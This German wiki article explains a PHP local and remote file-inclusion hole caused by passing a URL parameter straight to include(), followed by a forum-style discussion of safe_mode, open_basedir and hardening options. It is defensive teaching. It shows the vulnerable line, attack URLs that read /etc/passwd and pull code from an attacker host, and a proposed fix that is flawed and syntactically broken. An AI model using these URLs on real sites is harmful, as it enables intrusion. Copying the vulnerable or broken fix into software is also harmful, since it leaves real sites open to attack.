Die Peter Huth Lücke in PHP Scripten vermeiden

Aus Linupedia
Wechseln zu: Navigation, Suche

Autor: nbkr


Eine bestimmte Sicherheitslücke, welche man sich leider recht einfach bei der Programmierung mit PHP einfangen kann ist die sogenannte "Peter Huth" Sicherheitslücke. Peter Huth ist eine selbsternannter Securityexperte und gerade ihm ist diese Sicherheitslücke selbst mal unterlaufen. Doch zum eigentlichen Thema.

Die Sicherheitslücke entsteht, wenn man ungeprüft URL Parameter an include() weiterreicht. Ein Beispiel:

Code:

include $_GET['content'];


Dieser Code der normalerweise dafür gedacht ist mittest http://www.domain.de/index.php?content=startseite.php die Startseite (oder jede andere Seite des Internetauftritts) anzuzeigen kann sehr leicht ausgenutzt werden.

Bespielsweise muss ein Angreifer nur http://www.domain.de/index.php?content=/etc/passwd eintippen um sich die Benutzerdatei des Webservers anzeigen zu lassen. Auf diese Weise kann der Angreifer jede (!) Datei anzeigen lassen, denn PHP macht daraus ein

Code:

include /etc/passwd;


Außerdem kann der Angreifer auch eigenen Code von der Seite ausführen lassen. Dazu erstellt er eine Textdatei auf seinem Server mit z.B. dem Inhalt Code:

show_source();


Und lässt diese Seite über http://www.domain.de/index.php?content=http://www.angreifer.de/boesercode.txt einbauen. Die Datei wird includiert und der Inhalt wird als Sourcecode ausgeführt. In diesem Fall würde zwar nur der Quellcode der angegriffenen Seite angezeigt, aber man kann das ja beliebig erweitern.

Deshalb sollte man jeden URL Parameter (eigentliche jede Variable die vom Benutzer kommt) eingehenst prüfen. Für obiges wäre folgendes eine Lösung:

Code:

//Als erstes .. aus dem Parameter entfernen damit man nit
//mit /../../../etc/passwd in höhrer Ordner kommt.
$_GET['content'] = str_replace('..', , $_GET['content']);

//Jetzt prüfen ob die übergebene Datei wirklich in diesem Ordner ist.
if (file_exists('./' . $_GET['content')) {
include './' . $_GET['content'];
} else {
//Seite lokal nicht gefunden -> Startseite anzeigen
include './startseite.php';
}


Man kann (und sollte) das Beispiel noch erweitern, in dem man die Contentdaten in einen Unterordner packt und nur Daten aus diesem Ordner includet. Außerdem kann das Script noch so erweitern, dass die Endung .php nicht übergeben werden muss und man dieses im Script hinzugefügt wird. Dadurch wird die Sicherheit noch ein wenig erhöht.

Links dazu: www.modsecurity.org http://www.antihuth.de/ http://us3.php.net/manual/de/features.safe-mode.php#features.safe-mode.functions


Verbesserungen: nbkr hat Folgendes geschrieben:

Außerdem kann das Script noch so erweitern, dass die Endung .php nicht übergeben werden muss und man dieses im Script hinzugefügt wird. Dadurch wird die Sicherheit noch ein wenig erhöht.


Nö, dies bringt nichts

2.4.3 - String cuts http://www.hardened-php.net/documentation.19.html

Sinnvoller ist der meiner Meinung nach der PHP Patch Hardened http://www.hardened-php.net/hardening-patch-0.4.3-manual-alpha.pdf

nbkr hat Folgendes geschrieben: Open Basedir geht aber nur im Safe Mode

Ein (leider weitverbreiteter) Irrtum. open_basedir und safe_mode sind von einander vollkommen unabhängige Direktiven! Abgesehen davon: ein Skript, dass unter safe_mode _nicht_ genauso läuft wie ohne gehört in die Tonne. Die Kritik, dass safe_mode der falsche Ansatz sei ist IMHO irrelevant. Wenn eine Komponente portabel und verlässlich die Sicherheit eines Systems erhöhen kann, dann ist das ein nützliches Feature das man auch benutzen sollte.

nbkr hat Folgendes geschrieben: PHP als CGI Version + suExec + passende Verzeichnissrechte ist der bessere Weg.

Aber PHP als Apache Modul performt wesentlich besser.

nbkr hat Folgendes geschrieben:

Außerdem kann das Script noch so erweitern, dass die Endung .php nicht übergeben werden muss und man dieses im Script hinzugefügt wird. Dadurch wird die Sicherheit noch ein wenig erhöht.


Nö, dies bringt nichts

2.4.3 - String cuts http://www.hardened-php.net/documentation.19.html

Sinnvoller ist der meiner Meinung nach der PHP Patch Hardened http://www.hardened-php.net/hardening-patch-0.4.3-manual-alpha.pdf

Open Basedir geht aber nur im Safe Mode, welcher noch mehr Sachen außer das Verzeichnis einschränkt (sogar show_source() wird verkrüppelt). Abgesehen davon ist der Safe Mode selbst nur ein Workaround.

Zitat:

Safe Mode ist der Versuch, Sicherheitsprobleme bei gemeinsam genutzten Servern zu lösen. Bezogen auf die Systemarchitektur, ist es der falsche Ansatz, diese Probleme innerhalb der PHP Schicht lösen zu wollen. Da es auf Ebene des Webservers bzw. des Betriebssystems keine praktischen Alternativen gibt, wird Safe Mode nunmehr von vielen Leuten, vor allem von Providern, eingesetzt.


PHP als CGI Version + suExec + passende Verzeichnissrechte ist der bessere Weg.


eingefügt von Yehudi


Zurück zu Programmierung

Zurück zu Security